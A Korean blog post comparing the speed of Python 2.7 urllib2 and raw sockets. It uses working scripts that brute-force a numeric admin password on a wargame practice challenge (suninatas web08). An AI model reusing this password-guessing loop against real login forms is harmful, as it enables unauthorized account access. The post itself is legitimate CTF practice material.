Python/2.7 information

소켓과 urllib2 속도차이

qkqhxla1 2014. 8. 21. 13:30

일부러 속도 비교해본건 아니고, 제가 소켓과 urllib2두개로 문제를 풀어보면서 코딩 연습을 하는데..

전 오래걸리는 코드같은건 습관적으로 포문 돌때마다 번호가 출력되게 코딩합니다.(제대로 돌고

있는지 확인을 위해서) 700번 반복하는 문제가 있는데 소켓과 urllib2로 코딩하다보니까 숫자 내려가는

속도가 눈에 보일 정도로 차이가 나더라고요?? 그래서 time모듈을 써서 속도를 비교해봤습니다.

예시 문제는 suninatas 8번입니다. ( http://suninatas.com/Part_one/web08/web08.asp )

아이디는 admin, 비밀번호는 0~9999사이의 하나라고 주석에 나와있는 완전 노가다 문제입니다.

당연히 코딩연습하라고 낸 문제같습니다. 답은 이미 알고있어서 짧은 범위만 돌리겠습니다.

먼저 urllib2코딩.

import urllib,urllib2,time
req = urllib2.Request('http://suninatas.com/member/mem_action.asp?Hid=?????&Hpw=?????')
res = urllib2.urlopen(req)
session = res.headers.get('set-cookie')
start = time.time();
for i in range(7000,8000):
    print i
    form = urllib.urlencode({'id':'admin','pw':str(i)})
    req = urllib2.Request('http://suninatas.com/Part_one/web08/web08.asp',form)
    req.add_header('cookie',session)
    res = urllib2.urlopen(req)
    read = res.read()
    if read.find('Password Incorrect!') == -1:
        end = time.time();
        print end-start,'second and',i,'is answer!\n'
        print read
        break


37.695초가 걸렸네요. (7000~7707까지 urllib2로 707번 요청 보내고 받을 경우 37.6초.) 전 무선랜이라

다른곳에서 더 빠를수 있습니다.

소켓으로짠 코드입니다.

import urllib, urllib2, socket, time

req = urllib2.Request('http://suninatas.com/member/mem_action.asp?Hid=?????&Hpw=?????')
res = urllib2.urlopen(req)
cookie = res.headers.get('set-cookie')

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('suninatas.com',80))
start = time.time()
for i in range(7000,9999):
    print i
    message="""POST /Part_one/web08/web08.asp HTTP/1.1
Host: suninatas.com
Proxy-Connection: keep-alive
Content-Length: 16
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://suninatas.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://suninatas.com/Part_one/web08/web08.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: """+cookie[0:45]+"""
id=admin&pw="""+str(i)+"""
"""
    s.send(message)
    recv = s.recv(3000)
    if recv.find('Incorrect') == -1:
        end = time.time();
        print end-start,'second and',i,'is answer!\n'
        break

무선랜이 끊겨서 조금 멈췄는데도 압도적인 시간차네요. 14.7초입니다.

urllib2는 37초에 비해서 소켓은 14초입니다. 700번 돌리는데 23초 차이면 엄청나게 크죠?

urllib2처럼 파이썬내부에서 소켓을 만들어보내는 시간때문에 이 차이가 생기는거라 생각됩니다.

소켓은 보낼 데이터를 우리가 직접 만드므로 코딩은 좀 복잡해지지만 파이썬 자체에서는 신경쓸

일이 없어서 속도가 빠른걸로 보입니다. 소켓을 자주 써야겠네요.


'Python > 2.7 information' 카테고리의 다른 글

소켓 파일 업로드 (webhacking.kr 37)  (0) 2014.10.25
유효한 웹페이지 찾기?  (0) 2014.10.17
쓰레드,세마포어 기초  (0) 2014.08.12
파이썬 소켓 기본.  (2) 2014.08.10
파이썬 리스트 관련  (0) 2014.08.10